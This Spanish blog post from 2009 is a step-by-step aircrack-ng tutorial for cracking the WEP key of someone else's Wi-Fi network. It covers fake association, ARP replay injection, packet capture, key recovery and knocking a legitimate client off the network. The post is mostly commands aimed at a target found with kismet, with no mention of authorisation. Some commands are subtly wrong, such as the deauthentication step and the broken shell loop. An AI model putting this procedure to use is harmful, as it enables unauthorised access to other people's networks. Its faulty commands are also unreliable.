miércoles, 17 de junio de 2009

aircrack-ng: obteniendo clave wep con una intel 3945

Haremos los siguientes pasos como root:

0) Apuntar la dirección ethernet de nuestra tarjeta de red:
ifconfig wlan0 | egrep -o \.\.:\.\.:\.\.:\.\.:\.\.:\.\.

1) Desactivar el NetworkManager en el caso de que lo usemos
killall NetworkManager

2) Cargar los driver en modo monitor de nuestra tarjeta intel 3945 (tutorial sobre como configurar los driver de una intel 3945 en opensuse):
modprobe -r iwl3945
modprobe ipwraw

3) Localizar una red objetivo usando por ejemplo kismet (tutorial sobre kismet) o bien con otras herramientas.Necesitaremos una red que tenga trafico de paquetes de datos (es decir tendrá un cliente conectado) y que tenga encriptación de tipo WEP. Cuanto más paquetes más rapido saldrá la clave.
Apuntaremos los siguientes datos:

Channel -> Canal del objetivo.
BSSID -> la dirección ethernet de la estación de la red o punto de acceso (access point ) objetivo.
ESSID -> nombre de la red.

Suponemos que nuestra tarjeta de red es:
11:11:11:11:11:11
Supongamos que nuestra red objetivo es
Channel -> 11
ESSID -> Gallinero
BSSID -> 22:22:22:22:22:22


4) Configurar nuestra tarjeta de red con los datos de la red objetivo (canal, rate de captura y mac del ap)
echo 11 >/sys/class/net/wifi0/device/channel
echo 2 >/sys/class/net/wifi0/device/rate
echo 22:22:22:22:22:22 >/sys/class/net/wifi0/device/bssid

o equivalentemente
iwconfig wifi0 channel 11
iwconfig wifi0 rate 2
iwconfig wifi0 ap 22:22:22:22:22:22 <--- este comando no está soportado con la intel

5) En los siguientes pasos necesitaremos 4 consolas por separado, para ejecutar 4 tareas en paralelo

6) En la consola número 1 ejecutaremos un comando que asociará nuestra tarjeta de red al Punto de Acceso de la red objetivo:
aireplay-ng -1 0 -e ESSID_nombre_de_red -a BSSID_ETH_del_AP -h NUESTRA_ETH wifi0
en nuestro ejemplo
aireplay-ng -1 0 -e Gallinero -a 22:22:22:22:22:22 -h 11:11:11:11:11:11 wifi0
Para evitar desconexiones lo meteremos en un bucle de modo que se reasocie cada 5 minutos (300 segundos) :
while [true] do aireplay-ng -1 0 -e Gallinero -a 22:22:22:22:22:22 -h 11:11:11:11:11:11 wifi0; sleep 300 done

7) En la consola 2 ejecutaremos un comando que hará que capture paquetes encriptados y los reenvíe de nuevo al Punto de Acceso:
aireplay-ng -3 -b BSSID_ETH_del_AP -h NUESTRA_ETH wifi0

en el ejemplo
aireplay-ng -3 -b 22:22:22:22:22:22 -h 11:11:11:11:11:11 wifi0


8) En la consola 3 ejecutaremos un comando para capturar paquetes. En realidad la captura empezará cuando en la consola 2 se capture algún paquete ARP, se comenzará a inectar el tráfico y en la consola 3 se verá subir le número de paquetes.
airodump-ng -w /tmp/paquetes rtap0

9) Debemos tener unos 200.000 o 400.000 paquetes para crackear la clave wep. Pero podemos hacer que el aircrack vaya intentándolo concurrentemente con lo que vamos capturando con el siguiente comando en la consola 4:
aircrack-ptw /tmp/paquetes-1.cap
Unos cuantos minutos más tarde (dependiendo del volumen de trafico de la conexión deberiamos obtener la clave en hexadecimal. Cuando la tengamos paramos todas las consolas.

10) Convertimos la clave de hexadecimal a ascii usando algun conversor de hex a ascii (buscar en google) o desde una consola cualquiera ejecutamos:
echo TEXTO_HEX | xxd -r -p

ANEXO I: Como desconectar a un cliente autenticado

Si vemos que suben los paquetes de data pero no tenemos ningú paquete ARP podemos lanzar un paquete que desconecte al cliente legitimo, para forzar a que se asocie de nuevo con el Punto de Acceso. Ejecutamos:
aireplay-ng -1 0 -a BSSID_ETH_del_AP -c ETHERNET_DEL_CLIENTE_A_DESAUTENTICAR

en nuestro ejemplo ( suponiento que el cliente es 33:33:33:33:33:33):
aireplay-ng -1 0 -a 22:22:22:22:22:22 -c 33:33:33:33:33:33

No hay comentarios: